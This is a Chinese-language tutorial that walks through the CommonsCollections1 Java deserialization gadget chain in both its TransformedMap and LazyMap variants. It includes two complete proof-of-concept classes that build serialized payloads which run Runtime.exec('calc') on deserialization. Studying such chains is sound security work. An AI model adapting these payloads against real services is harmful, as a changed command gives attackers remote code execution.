CommonsCollections1 Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。
调用链:
1 2 3 4 5 6 7 AnnotationInvocationHandler.readObject() *Map(Proxy).entrySet() *AnnotationInvocationHandler.invoke() LazyMap.get()/TransformedMap.setValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
依赖:
CommonsCollections : 3.1-3.2.1
TransformedMap - jdk < 8u71
前置知识 先来了解一些cc库的一些方法
首先 CC 库中提供了一个抽象类 org.apache.commons.collections.map.AbstractMapDecorator,这个类是 Map 的扩展,并且从名字中可以知道,这是一个基础的装饰器,用来给 map 提供附加功能,被装饰的 map 存在该类的属性中,并且将所有的操作都转发给这个 map。
主要是TransformedMap和LazyMap
org.apache.commons.collections.map.TransformedMap这个类主要是在一个元素加入集合内时,自动进行修饰变换,会自己去调用Transformer去实现,Transformer 在 TransformedMap 实例化时作为参数传入。
这里TransformedMap内的key或value发生变化就会触发对应参数的Transform()方法
LazyMap org.apache.commons.collections.map.LazyMap 与 TransformedMap 类似,不过差异是调用 get() 方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform() 方法。
与 LazyMap 具有相同功能的,是 org.apache.commons.collections.map.DefaultedMap,同样是 get() 方法会触发 transform 方法。
org.apache.commons.collections.Transformer 是一个接口,提供了一个 transform() 方法,用来定义具体的转换逻辑。方法接收 Object 类型的 input,处理后将 Object 返回。
在 Commons Collection 3.2.1 中,程序提供了 14 个 Transformer 的实现类,用来实现不同的对 TransformedMap 中 key/value 进行修改的功能。
这里主要看几个类的transform的实现
InvokerTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var7); } } }
这里很明显就是通过反射去创建一个对象,那么就可以通过反射去执行命令。
org.apache.commons.collections.functors.ChainedTransformer 类也是一个 Transformer的实现类,但是这个类自己维护了一个 Transformer 数组, 在调用 ChainedTransformer 的 transform 方法时,会循环数组,依次调用 Transformer 数组中每个 Transformer 的 transform 方法,并将结果传递给下一个 Transformer。
那这里首尾相连的感觉就很像链子了,给了我们一个链式调用多个transformer分别处理对象的能力。
org.apache.commons.collections.functors.ConstantTransformer 是一个返回固定常量的 Transformer,在初始化时储存了一个 Object,后续的调用时会直接返回这个 Object。
这个类用于和 ChainedTransformer 配合,将其结果传入 InvokerTransformer 来调用我们指定的类的指定方法。
poc构造 我们的目的还是去执行 Runtime.getRuntime().exec("calc")
1 2 3 4 5 6 ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }) });
这里一步一步来分析,先要获取Runtime的类通过ConstantTransformer去存这个Object并在调用中返回给下一个InvokerTransformer,第1个InvokerTransformer去获取了这个类的并用反射去调用getMethod方法获取到了Runtime.getRuntime这个方法,第2个InvokerTransformer通过反射去用invoke触发获得Runtime.getRuntime()的方法,那么到这就通过反射拿到了Runtime的类,相当于完成了Runtime.getRuntime()。然后最后一个就是直接反射去调用exec方法造成rce。
到这里就完成了反序列化链中最后触发恶意命令的部分,但是现在还是通过map.put 去触发,所以要继续往上找,一个类重写了readObject,在反序列化时改变了map的值。
于是我们找到了 sun.reflect.annotation.AnnotationInvocationHandler 这个类。这个类实现了 InvocationHandler 接口,原本是用于 JDK 对于注解形式的动态代理。
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type." ); } }
构造方法接收两个参数,第一个参数是 Annotation 实现类的 Class 对象,第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class,才会将两个参数初始化在成员属性 type 和 memberValues 中。
然后看他的readObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } } }
首先调用 AnnotationType.getInstance(this.type) 方法来获取 type 这个注解类对应的 AnnotationType 的对象,然后获取其 memberTypes 属性,这个属性是个 Map,存放这个注解中可以配置的值。
然后循环 this.memberValues 这个 Map ,获取其 Key,如果注解类的 memberTypes 属性中存在与 this.memberValues 的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue 方法写入值。
那现在思路就很明显了:
构造一个 AnnotationInvocationHandler 实例,初始化时传入一个注解类和一个 Map,这个 Map 的 key 中要有注解类中存在的属性,但是值不是对应的实例,也不是 ExceptionProxy 对象。
这个 Map 由 TransformedMap 封装,并调用自定义的 ChainedTransformer 进行装饰。
ChainedTransformer 中写入多个 Transformer 实现类,用于链式调用,完成恶意操作。
根据思路写poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package com.example.demo.aaaa;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class Test { public static HashMap<Integer, String> hashMap = new HashMap<>(); public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }) }); Map inmap = new HashMap(); inmap.put("value" ,"asd" ); Map outmap = TransformedMap.decorate(inmap,null ,chain); Class anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = anno.getDeclaredConstructor(Class.class,Map.class); ctor.setAccessible(true ); Object instance = ctor.newInstance(Target.class,outmap); String a = Tools.base64Encode(Tools.serialize(instance)); System.out.println(a); Tools.deserialize(Tools.base64Decode(a)); } }
这样就可以触发弹出计算器。
还有主要的几个问题,就是这条链子只能在低版本运行jdk8u65之前吧应该是,主要是因为之后的jdk中把sun.reflect.annotation.AnnotationInvocationHandler
readObject的方法改了不再有对map的赋值语句,所以触发不了。
LazyMap链 那么这里来介绍另一个,通过lazymap去做到同样的事情。
lazymap是要去找到一个可以触发他get方法的地方。
我们看到在
sun.reflect.annotation.AnnotationInvocationHandler中的invoke方法中存在触发get方法的语句
那么我们改一下触发点就好了
这里用到了动态代理的知识,总结起来的一句话就是被动态代理的对象调用任意方法都会调用对应的InvocationHandler 的 invoke 方法。
那构造的思路的就有了,在使用带有装饰器的 LazyMap 初始化 AnnotationInvocationHandler 之前,先使用 InvocationHandler 代理一下 LazyMap,这样反序列化 AnnotationInvocationHandler 时,调用 LazyMap 值的 setValue 方法之前会调用代理类的 invoke 方法,触发 LazyMap 的 get 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package com.example.demo.aaaa;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class Test { public static HashMap<Integer, String> hashMap = new HashMap<>(); public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }) }); Map inmap = new HashMap(); inmap.put("value" ,"asd" ); Map outmap = LazyMap.decorate(inmap,chain); Class anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = anno.getDeclaredConstructor(Class.class,Map.class); ctor.setAccessible(true ); InvocationHandler handle = (InvocationHandler)ctor.newInstance(Target.class,outmap); Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handle); InvocationHandler instance = (InvocationHandler)ctor.newInstance(Target.class,mapproxy); String b = Tools.base64Encode(Tools.serialize(instance)); System.out.println(b); Tools.deserialize(Tools.base64Decode(b)); } }
这里我们就用2个不同的类完成了这条链
这里解释一下,这里2种方式都只能在低版本的jdk触发,前面一种已经解释,lazymap的是因为修改了后改成了新建一个LinkedHashMap,把值转进这个LinkedHashMap里面。在invoke方法中的memberValues并不可控了,所以无法触发。
参考资料 https://xz.aliyun.com/t/7031
https://su18.org/post/ysoserial-su18-2/#commonscollections1
https://mp.weixin.qq.com/s/gZbcdS0TbAetZwVMyjkGWQ
Java安全漫谈